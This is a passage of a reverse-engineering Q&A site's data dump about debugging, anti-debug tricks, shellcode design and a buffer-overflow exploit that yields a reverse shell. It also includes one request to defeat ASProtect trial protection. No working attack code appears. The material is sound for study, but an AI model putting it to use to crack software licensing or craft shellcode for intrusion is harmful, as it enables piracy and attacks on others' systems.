  <row Id="9183" PostTypeId="2" ParentId="9182" CreationDate="2015-06-20T01:24:48.363" Score="3" Body="&lt;p&gt;About the &quot;??3@YAXPAX&quot; calls, it is called &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2388/artifacts-similar-to-yaxpax-within-memory-and-ida-sessions&quot;&gt;Name Mangling&lt;/a&gt;, take a look at this thread for more explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;YAXPAX&quot; calls are actually the &lt;code&gt;delete&lt;/code&gt; C++ operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the &lt;code&gt;__set_app_type&lt;/code&gt;, &lt;code&gt;__getmainargs&lt;/code&gt;, &lt;code&gt;GetStartupInfo&lt;/code&gt; etc, those calls are generated by the compiler and usally called before the &lt;code&gt;main&lt;/code&gt; function. They aren't part of the source code of the program you are willing to analyze, so you shouldn't have to analyze them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your main seems to be located at &lt;code&gt;00401C80&lt;/code&gt;, as it is usually right before a call to &lt;code&gt;exit&lt;/code&gt;. This is where you start analyzing things seriously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning the anti-debug protection, there are few instructions that let me think there is something that catches the exception in the program :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RcbWT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cmp [0], 0&lt;/code&gt; is supposed to crash, so maybe there is some custom exception handlers installed somewhere. I would say to check for TLS callback functions, but I may be wrong. You should be able to pass the exception by pressing Shift+F7, &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8813/how-to-bypass-zwcontinue/8814#8814&quot;&gt;break on NtContinue, read the CONTEXT&lt;/a&gt; structure and continue the execution of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is a listing of the most frequent anti debug tricks you may find - including the Thread Local Storage trick.&lt;/p&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-06-20T01:30:18.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9184" PostTypeId="1" AcceptedAnswerId="9190" CreationDate="2015-06-20T03:05:58.470" Score="1" ViewCount="126" Body="&lt;p&gt;I'm reading about buffer overflow and there's this part i didn't understand , it says :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Eliminating Data Segments&lt;/p&gt;&#xA;&lt;p&gt;That assembly code works completely. However, it is useless. You can compile it with nasm, execute it, and view the binary file in hex form with hexdump, which is itself a shellcode. The problem is that both programs use their own data segments, which means that they cannot execute inside another application. This means in chain that an exploit will not be able to inject the required code into the stack and execute it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;why can't we use a data segment in our shellcode ?&#xA;thanks !&lt;/p&gt;&#xA;" OwnerUserId="12827" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-06-21T00:10:40.013" Title="The Addressing Problem?" Tags="|assembly|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9185" PostTypeId="2" ParentId="8044" CreationDate="2015-06-20T10:12:08.957" Score="21" Body="&lt;p&gt;I use &lt;code&gt;apktool&lt;/code&gt; for this purpose, and a short little pair of shell scripts for decompiling and recompiling APKs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;decompile-apk&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash -e&#xA;if ! [ &quot;$1&quot; ]; then&#xA;    echo &quot;usage: $0 &amp;lt;file.apk&amp;gt;&quot;&#xA;    exit -1&#xA;fi&#xA;&#xA;fn=${1%.apk}&#xA;target_apk=$fn.apk&#xA;apktool d -f &quot;$target_apk&quot; -o smali&#xA;echo &quot;Done.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;compile-apk&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash -e&#xA;if ! [ &quot;$1&quot; ]; then&#xA;    echo &quot;usage: $0 &amp;lt;original.apk&amp;gt;&quot;&#xA;    exit -1&#xA;fi&#xA;&#xA;fn=${1%.apk}&#xA;&#xA;rm -f $fn.unaligned.apk $fn.smali.apk&#xA;rm -rf smali/build&#xA;&#xA;apktool b -f smali/ -o $fn.unaligned.apk&#xA;jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore ~/.android/debug.keystore  -storepass android  $fn.unaligned.apk  androiddebugkey&#xA;zipalign -v 4 $fn.unaligned.apk $fn.smali.apk&#xA;rm -rf smali/build&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;apktool&lt;/code&gt; has the advantage of being able to view and edit all of the resources as well as the decoded manifest file.&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2015-06-20T10:12:08.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9186" PostTypeId="2" ParentId="9182" CreationDate="2015-06-20T10:30:20.670" Score="1" Body="&lt;pre&gt;&lt;code&gt;import base64&#xA;import zipfile&#xA;import os&#xA;import hashlib&#xA;infile = open(&quot;c:\\halvar\\halvfem.bin&quot;,&quot;rb&quot;)&#xA;outfile = open(&quot;c:\\halvar\\halvfem.zip&quot;,&quot;wb&quot;)&#xA;base64.decode(infile,outfile)&#xA;infile.close()&#xA;outfile.close()&#xA;if (zipfile.is_zipfile(&quot;c:\\halvar\\halvfem.zip&quot;)):&#xA;    myzip = zipfile.ZipFile(&quot;c:\\halvar\\halvfem.zip&quot;,'r')&#xA;    myzip.extractall('c:\\halvar\\',myzip.namelist(),'infected')&#xA;    os.rename(myzip.namelist()[0],&quot;halvar_challenge.exe&quot;)&#xA;    print hashlib.md5(open('c:\\halvar\\halvar_challenge.exe','rb').read()).hexdigest()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is this the file you are talking about&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\halvar&amp;gt;python decode.py&#xA;172aed81c4fde1cf23f1615acedfad65&#xA;&#xA;C:\halvar&amp;gt;f:\odbg110\OLLYDBG.EXE halvar_challenge.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the exe is setting up a Structured Exception Handler prior to call ecx &#xA;you should follow the Exception handler may be several times &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hint check this function in msvcrt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;77C2275C MSVCRT._JumpToContinuation    $  8BFF          MOV     EDI, EDI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you followed them you should be able to see  0x89 imports being resolved with LoadLibrary and GetProcAddress &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i followed till CreateEvent before posting this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0013FD90   0040F520  /CALL to CreateEventA from halvar_c.0040F51D&#xA;0013FD94   00000000  |pSecurity = NULL&#xA;0013FD98   00000001  |ManualReset = TRUE&#xA;0013FD9C   00000000  |InitiallySignaled = FALSE&#xA;0013FDA0   0013FDCC  \EventName = &quot;{AB8D393B-9177-440d-B3F8-1C1FE0CF9692}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-06-20T10:30:20.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9187" PostTypeId="1" CreationDate="2015-06-20T14:58:17.987" Score="3" ViewCount="2461" Body="&lt;p&gt;I was trying to reverse the following ARM code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mystery7&#xA;02 46            MOV R2, R0&#xA;08 B9            CBNZ R0, loc_100E1D8&#xA;00 20            MOVS R0, #0&#xA;70 47            BX LR&#xA;loc_100E1D8&#xA;90 F9 00 30      LDRSB.W R3, [R0]&#xA;02 E0            B loc_100E1E4&#xA;loc_100E1DE&#xA;01 32            ADDS R2, #1&#xA;92 F9 00 30      LDRSB.W R3, [R2]&#xA;loc_100E1E4&#xA;00 2B            CMP R3, #0&#xA;FA D1            BNE loc_100E1DE&#xA;10 1A            SUBS R0, R2, R0&#xA;6F F3 9F 70      BFC.W R0, #0x1E, #2&#xA;70 47            BX LR&#xA;; End of function mystery7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that its a function that computes the length of a string. However the &lt;code&gt;BFC.W&lt;/code&gt; instruction seems to clear the most significant 2 bits. So, the sign bit and the bit to its immediate right are cleared. Why is that done?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-06-25T17:12:13.983" Title="Computing the length of a string in ARM" Tags="|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9188" PostTypeId="1" CreationDate="2015-06-20T19:52:49.690" Score="1" ViewCount="402" Body="&lt;p&gt;Ive tried to attach to some windows store app. It seems like there is no way&#xA;since when OllyDebugger stopped reacting, showing the 'Loading .udd data' message. If I re-launch olly, it reacts the same way. The only difference is that it may be different .udd file... What to do further I do not know.&#xA;   I pointed out the correct .UDD directory(which is the same where my ollydbg saved).&lt;/p&gt;&#xA;" OwnerUserId="12834" LastActivityDate="2015-06-20T19:52:49.690" Title="How to debug under Olly the Windows 8.1 Store apps?" Tags="|windows|ollydbg|debugging|windows-8|" AnswerCount="0" CommentCount="0" ClosedDate="2015-06-22T06:13:39.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="9189" PostTypeId="1" CreationDate="2015-06-20T19:54:01.370" Score="0" ViewCount="1005" Body="&lt;p&gt;While exploiting a strcpy() buffer overflow in Win XP, I used the address of ESP after the crash to overwrite EIP. The address contained a null byte so it did not work, so I found a jmp esp instruction and used that instead. Then I ran the program and it worked fine. Then I realized that the shellcode (from msfpayload) also had null bytes allover. However, it executed fine and I got a reverse shell.&#xA;Why does null bytes in the shellcode not corrupt the rest of the payload whereas a null byte in the return address corrupted the rest of the payload?&lt;/p&gt;&#xA;" OwnerUserId="12770" LastEditorUserId="12770" LastEditDate="2015-06-20T20:09:10.157" LastActivityDate="2015-06-21T09:09:34.873" Title="Null Byte not breaking shellcode" Tags="|buffer-overflow|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9190" PostTypeId="2" ParentId="9184" CreationDate="2015-06-21T00:10:40.013" Score="2" Body="&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; read from and write to a process's data segment from shellcode (assuming proper page protections).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you typically want to supply the data your shellcode is going to use (for example, the data string &quot;&lt;code&gt;http://172.19.3.204/stager.exe&lt;/code&gt;&quot;), and not rely what's currently in the exploited process's data segment (for example, the data string &quot;&lt;code&gt;Internet Explorer 4.0&lt;/code&gt;&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, you'll need to either inject your shellcode's data into the exploited process's data segment, or as is the more common case, inject your shellcode and data together in a single blob and have your shellcode reference your data at an offset relative to your shellcode.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-21T00:10:40.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9191" PostTypeId="1" AcceptedAnswerId="15027" CreationDate="2015-06-21T07:59:25.077" Score="1" ViewCount="180" Body="&lt;p&gt;I have COM DLL with one class and one interface.&lt;br&gt;&#xA;When I open it with COMView I see all the methods in the class/interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to modify the behavior of one method in this COM but I don't know how. I failed debugging it in debugger because it uses multiple threads and I couldn't find the DLL's code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to patch a function without using the debugger?&lt;/p&gt;&#xA;" OwnerUserId="12789" LastEditorUserId="2147" LastEditDate="2017-03-27T14:47:37.063" LastActivityDate="2017-03-27T14:53:20.433" Title="Patch methods in COM dll" Tags="|windows|decompilation|dll|patching|com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9192" PostTypeId="2" ParentId="9189" CreationDate="2015-06-21T09:09:34.873" Score="1" Body="&lt;p&gt;As you know the &lt;em&gt;strcpy&lt;/em&gt; function has a loop that ends on 0x00 byte and it has no exception. So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Re-check your bug trigger situation, are you sure it's &lt;em&gt;strcpy&lt;/em&gt;? isn't it &lt;em&gt;memcpy&lt;/em&gt;, &lt;em&gt;memmove&lt;/em&gt; or even &lt;em&gt;wcs...&lt;/em&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Check &lt;em&gt;strcpy&lt;/em&gt; args, sometimes your target buffer is not the destination of &lt;em&gt;strcpy&lt;/em&gt; it may be the source. and as mentioned in comments your assumption about null byte limitation is wrong.&lt;/li&gt;&#xA;&lt;li&gt;Check your shell code in your exploit source. not in memory. it could be decoded at run-time.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;if none of above is right then check the algorithm, it is possible that the program extends the copy.&lt;/p&gt;&#xA;" OwnerUserId="12323" LastActivityDate="2015-06-21T09:09:34.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9193" PostTypeId="1" CreationDate="2015-06-21T12:55:21.197" Score="3" ViewCount="228" Body="&lt;p&gt;I have run the Class Informer plugin to identify virtual method tables.  I am trying to write a python script which will rename each function in the table.  I am struggling to find the correct API call to change an .rdata subroutine name.  I have read through this guide, but I'm still confused:  &lt;a href=&quot;http://www.offensivecomputing.net/papers/IDAPythonIntro.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.offensivecomputing.net/papers/IDAPythonIntro.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.,  if I have this vmt for ExampleClassA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:004F0EE8     ??_7?$ExampleClassA@$@@@ dd offset sub_25DFAD&#xA;.rdata:004F0EE8                                             ; DATA XREF: sub_256CB0+98&#xA;.rdata:004F0EE8                                             ; CNetChan____45+86 ...&#xA;.rdata:004F0EEC                     dd offset sub_3B0760&#xA;.rdata:004F0EF0                     dd offset sub_1A2080&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to enter the base address ( 0x004F0EE8 ) and iterate over the table to rename each subroutine based on a user-supplied name.  I can iterate, get input, move ea.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I modify the subroutine name of the current line?&lt;/p&gt;&#xA;" OwnerUserId="12276" LastEditorDisplayName="user42316" LastEditDate="2022-12-15T08:38:00.920" LastActivityDate="2022-12-15T08:38:00.920" Title="How can I parse VMTs in IDA if I have the base address?" Tags="|idapython|vtables|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9194" PostTypeId="1" AcceptedAnswerId="9196" CreationDate="2015-06-21T16:33:52.433" Score="3" ViewCount="5900" Body="&lt;p&gt;I am investigating an application, which is encrypting it's files and stores them into disk. Of course i know where the files are and their corresponding filenames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to find out how the decryption takes place i need to somehow break the execution on the opening of the file from the disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody any idea if something like this is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem that i have is that i am completely unable to detect how the application reads the file from disk. How am i supposed to find the module that is being called?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application is a 64bit one and i am using Cheat Engine to debug it. I tried other 64bit debuggers as well, but none of them matched the memory search that is possible with CE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I've also posted this question in Stackoverflow, but i guess this is the best place to ask this question.&lt;/p&gt;&#xA;" OwnerUserId="12838" LastActivityDate="2015-06-21T22:23:47.450" Title="Breakpoint on io file read" Tags="|debugging|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9195" PostTypeId="1" AcceptedAnswerId="9197" CreationDate="2015-06-21T20:36:40.207" Score="1" ViewCount="639" Body="&lt;p&gt;Im trying to bypass some trial functionnalities in os-monitor, the point is, after running it through ollydbg, a notification appears to tell that executable segment is encrypted with exe-packing algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ufMJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ignored that, and continue to execute it, then another notification said that program halted because a debugger is detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ocLdp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone enlighten me of what type of antidebugging technique is used in this software?&lt;/p&gt;&#xA;" OwnerUserId="12383" LastActivityDate="2015-06-21T22:31:39.440" Title="Anti-Debugging technique in Os-monitor" Tags="|ollydbg|" AnswerCount="1" CommentCount="3" ClosedDate="2015-06-23T16:09:48.960" ContentLicense="CC BY-SA 3.0" />
  <row Id="9196" PostTypeId="2" ParentId="9194" CreationDate="2015-06-21T22:23:47.450" Score="1" Body="&lt;p&gt;use procmon from Sys Internals  to log the process&lt;br&gt;&#xA;filter the log for file access&lt;br&gt;&#xA;(latest release has a file summary tab that simplifies entering filter expressions to mere mouse clicks)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code for a simple xorrer  (takes an input file and writes back a xorred file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#define ENOENT 2&#xA;void main(int argc, char *argv[]) {&#xA;  if(argc !=3 ) { printf(&quot;usage : %s infile outfile&quot;,argv[0]); return;}&#xA;  FILE *fp = 0; errno_t err=ENOENT; long flen =0,bread =0 ; char *buff =0;&#xA;  if (((err = fopen_s(&amp;amp;fp,argv[1],&quot;rb&quot;)) == 0) &amp;amp;&amp;amp; (fp !=0)) {&#xA;    fseek(fp,0,SEEK_END);&#xA;    flen = ftell(fp);&#xA;    if((buff = (char *)calloc(flen,sizeof(char))) !=0 ) {&#xA;      fseek(fp,0,SEEK_SET);&#xA;      if (( bread = fread(buff,sizeof(char),flen,fp) ) == flen) {&#xA;        fclose(fp); err=ENOENT;&#xA;        for(int i = 0; i&amp;lt; flen; i++)  {&#xA;          buff[i] ^= 'A' ;&#xA;        }&#xA;        if(((err = fopen_s(&amp;amp;fp,argv[2],&quot;wb&quot;)) == 0) &amp;amp;&amp;amp; (fp !=0)) {&#xA;          fwrite(buff,1,flen,fp);&#xA;          fclose(fp);&#xA;          free(buff);&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a batfile logging this file access (blind run) and loading the log into procmon again for applying filters and saving back the filtered events as xml&#xA;which allows powershell to parse and print &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo off&#xA;start procmon.exe /quiet  /minimized /backingfile /nofilter .\LogFile.pml&#xA;procmon.exe /waitforidle&#xA;start /wait encfile.exe rawdata.txt encdata.txt&#xA;procmon.exe /terminate&#xA;start /wait procmon.exe /openlog .\logfile.pml&#xA;powershell  ([xml] ( Get-Content .\logfile.xml)).procmon.eventlist.event[2].stack.frame &#xA;pause&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;filter used to save xml file was &quot;Include if path contains xxxx where xxxx is the filename of interest&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the stack of the fileRead &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PS &amp;gt; ([xml]&#xA; ( Get-Content .\logfile.xml)).procmon.eventlist.event[2].stack.frame&#xA;&#xA;depth               address             path                location&#xA;-----               -------             ----                --------&#xA;0                   0xb9ed5888          C:\WINDOWS\Syste... FltpPerformPreCa...&#xA;1                   0xb9ed72a0          C:\WINDOWS\Syste... FltpPassThroughI...&#xA;2                   0xb9ed7c48          C:\WINDOWS\Syste... FltpPassThrough ...&#xA;3                   0xb9ed8059          C:\WINDOWS\Syste... FltpDispatch + 0...&#xA;4                   0x804ee129          C:\WINDOWS\syste... IopfCallDriver +...&#xA;5                   0x80571d9c          C:\WINDOWS\syste... NtReadFile + 0x580&#xA;6                   0x8053d658          C:\WINDOWS\syste... KiFastCallEntry ...&#xA;7                   0x40364c            C:\Documents and... encfile.exe + 0x...&#xA;8                   0x403ac0            C:\Documents and... encfile.exe + 0x...&#xA;9                   0x4033a2            C:\Documents and... encfile.exe + 0x...&#xA;10                  0x4015bf            C:\Documents and... encfile.exe + 0x...&#xA;11                  0x401698            C:\Documents and... encfile.exe + 0x...&#xA;12                  0x4016d1            C:\Documents and... encfile.exe + 0x...&#xA;13                  0x4010d3            C:\Documents and... encfile.exe + 0x...&#xA;14                  0x401d09            C:\Documents and... encfile.exe + 0x...&#xA;15                  0x7c817077          C:\WINDOWS\syste... BaseProcessStart...&#xA;16                  0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ascertaining  the ReadFile  call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\cdb -c &quot;ub 40364c;q&quot; encfile.exe | tail -n 2&#xA;00403646 ff1550b04000    call    dword ptr [image00400000+0xb050 (0040b050)]&#xA;quit:&#xA;&#xA;:\cdb -c &quot;.printf \&quot;%y\n\&quot;,poi(40b050);q&quot; encfile.exe | tail -n 2&#xA;kernel32!ReadFile (7c801812)&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-06-21T22:23:47.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9197" PostTypeId="2" ParentId="9195" CreationDate="2015-06-21T22:31:39.440" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can anyone enlighten me of what type of antidebugging technique is&#xA;  used in this software?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, that &lt;code&gt;Protection Error&lt;/code&gt; message is from &lt;a href=&quot;http://www.aspack.com/asprotect32.html&quot; rel=&quot;nofollow&quot;&gt;ASProtect&lt;/a&gt;'s unpacking stub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.aspack.com/asprotect32.html&quot; rel=&quot;nofollow&quot;&gt;http://www.aspack.com/asprotect32.html&lt;/a&gt;, it features the following antidebugging techniques:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;compression of the application&lt;/li&gt;&#xA;  &lt;li&gt;encryption of the application&lt;/li&gt;&#xA;  &lt;li&gt;counteraction to dumping application memory using tools like&#xA;  ProcDump&lt;/li&gt;&#xA;  &lt;li&gt;application integrity check&lt;/li&gt;&#xA;  &lt;li&gt;counteraction to debuggers&#xA;  and disassemblers &lt;/li&gt;&#xA;  &lt;li&gt;counteraction to memory patching &lt;/li&gt;&#xA;  &lt;li&gt;API for&#xA;  interaction between application and protection routines &lt;/li&gt;&#xA;  &lt;li&gt;creation and&#xA;  verification of registration keys using public keys encryption&#xA;  algorithms &lt;/li&gt;&#xA;  &lt;li&gt;keeping of the database and checkup of &quot;stolen&quot; (illegal)&#xA;  registration keys &lt;/li&gt;&#xA;  &lt;li&gt;possibility to create evaluation (trial) versions,&#xA;  that limit application functions based on evaluation time and the&#xA;  number of runs left &lt;/li&gt;&#xA;  &lt;li&gt;expose nag-screens &lt;/li&gt;&#xA;  &lt;li&gt;generating of registration&#xA;  keys, based on the specific computer system.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-21T22:31:39.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9198" PostTypeId="1" CreationDate="2015-06-22T00:16:42.093" Score="1" ViewCount="118" Body="&lt;p&gt;I know that when IDA pro want to disassemble a binary and label the functions, employs import address table and IDA flirt to distinguish from local functions and external functions! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have dynamice trace and want to distinguish between local and external function calls but I do not know how can I do this process. Could you please help me how can I do this process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My trace is something like this:(this is a small part of trace)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(1) 7c90e430: lea 0x10(%esp),%edi   A@0x0022fd30[0x00000000][4](R) T_begin (0x0) T_end (0x0)    R@edi[0x00310031][4](W) T_begin (0x0) T_end (0x0)   &#xA;(2) 7c90e434: pop %eax  M@0x0022fd20[0x7c901166][4](R) T_begin (0x0) T_end (0x0)    R@eax[0x00401130][4](W) T_begin (0x0) T_end (0x0)   &#xA;(3) 7c90e435: call %eax R@eax[0x7c901166][4](R) T_begin (0x0) T_end (0x0)   M@0x0022fd20[0x7c901166][4](W) T_begin (0x0) T_end (0x0)    &#xA;(4) 7c901166: lea 0x10(%esp),%eax   A@0x0022fd30[0x00000000][4](R) T_begin (0x0) T_end (0x0)    R@eax[0x7c901166][4](W) T_begin (0x0) T_end (0x0)   &#xA;(5) 7c90116a: mov %eax,0x4(%esp)    R@eax[0x0022fd30][4](R) T_begin (0x0) T_end (0x0)   M@0x0022fd24[0x00000000][4](W) T_begin (0x0) T_end (0x0)    &#xA;(6) 7c90116e: xor %ebp,%ebp R@ebp[0x00350037][4](R) T_begin (0x0) T_end (0x0)   R@ebp[0x00350037][4](RW) T_begin (0x0) T_end (0x0)  &#xA;(7) 7c901170: jmp 0x7c91b057    J@0x00000000[0x00019ee7][4](R) T_begin (0x0) T_end (0x0)    &#xA;(8) 7c91b057: mov %edi,%edi R@edi[0x0022fd30][4](R) T_begin (0x0) T_end (0x0)   R@edi[0x0022fd30][4](W) T_begin (0x0) T_end (0x0)   &#xA;(9) 7c91b059: push %ebp R@ebp[0x00000000][4](R) T_&#xA;(33) 7c9222f9: pushl $0x7c97b0c8    I@0x00000000[0x7c97b0c8][4](R) T_begin (0x0) T_end (0x0)    M@0x0022fd04[0x00000000][4](W) T_begin (0x0) T_end (0x0)    &#xA;(34) 7c9222fe: call 0x7c9199d7  J@0x00000000[0xffff76d9][4](R) T_begin (0x0) T_end begin (0x0) T_end (0x0)  M@0x0022fd1c[0x00000000][4](W) T_begin (0x0) T_end (0x0)    &#xA;(10) 7c91b05a: mov %esp,%ebp    R@esp[0x0022fd1c][4](R) T_begin (0x0) T_end (0x0)   R@ebp[0x00000000][4](W) T_begin (0x0) T_end (0x0)   &#xA;(11) 7c91b05c: cmpb $0x0,0x7c97b20c I@0x00000000[0x00000000][1](R) T_begin (0x0) T_end (0x0)    M@0x7c97b20c[0x00000000][1](R) T_begin (0x0) T_end (0x0)    &#xA;(12) 7c91b063: jz 0x7c9226ed    J@0x00000000[0x0000768a][4](R) T_begin (0x0) T_end (0x0)    &#xA;(13) 7c9226ed: call 0x7c9226fc  J@0x00000000[0x0000000f][4](R) T_begin (0x0) T_end (0x0)    M@0x0022fd18[0x00000000][4](W) T_begin (0x0) T_end (0x0)    &#xA;(14) 7c9226fc: mov %edi,%edi    R@edi[0x0022fd30][4](R) T_begin (0x0) T_end (0x0)   R@edi[0x0022fd30][4](W) T_begin (0x0) T_end (0x0)   &#xA;(15) 7c9226fe: push %ebp    R@ebp[0x0022fd1c][4](R) T_begin (0x0) T_end (0x0)   M@0x0022fd14[0x00000000][4](W) T_begin (0x0) T_end (0x0)    &#xA;(16) 7c9226ff: mov %esp,%ebp    R@esp[0x0022fd14][4](R) T_begin (0x0) T_end (0x0)   R@ebp[0x0022fd1c][4](W) T_begin (0x0) T_end (0x0)   &#xA;(17) 7c922701: push %ecx    R@ecx[0x00310038][4](R) T_begin (0x0) T_end (0x0)   M@0x0022fd10[0x00000000][4](W) T_begin (0x0) T_end (0x0)    &#xA;(18) 7c922702: push %ecx    R@ecx[0x00310038][4](R) T_begin (0x0) T_end (0x0)   M@0x0022fd0c[0x00000000][4](W) T_begin (0x0) T_end (0x0)    &#xA;(19) 7c922703: xor %ecx,%ecx    R@ecx[0x00310038][4](R) T_begin (0x0) T_end (0x0)   R@ecx[0x00310038][4](RW) T_begin (0x0) T_end (0x0)  &#xA;(20) 7c922705: mov $0x7c97d394,%eax I@0x00000000[0x7c97d394][4](R) T_begin (0x0) T_end (0x0)    R@eax[0x0022fd30][4](W) T_begin (0x0) T_end (0x0)   &#xA;(21) 7c92270a: inc %ecx R@ecx[0x00000000][4](RW) T_begin (0x0) T_end (0x0)  &#xA;(22) 7c92270b: xadd %ecx,(%eax) R@ecx[0x00000001][4](RW) T_begin (0x0) T_end (0x0)  M@0x7c97d394[0x00000000][4](RW) T_begin (0x0) T_end (0x0)   &#xA;(23) 7c92270b: xadd %ecx,(%eax) R@ecx[0x00000001][4](RW) T_begin (0x0) T_end (0x0)  M@0x7c97d394[0x00000000][4](RW) T_begin 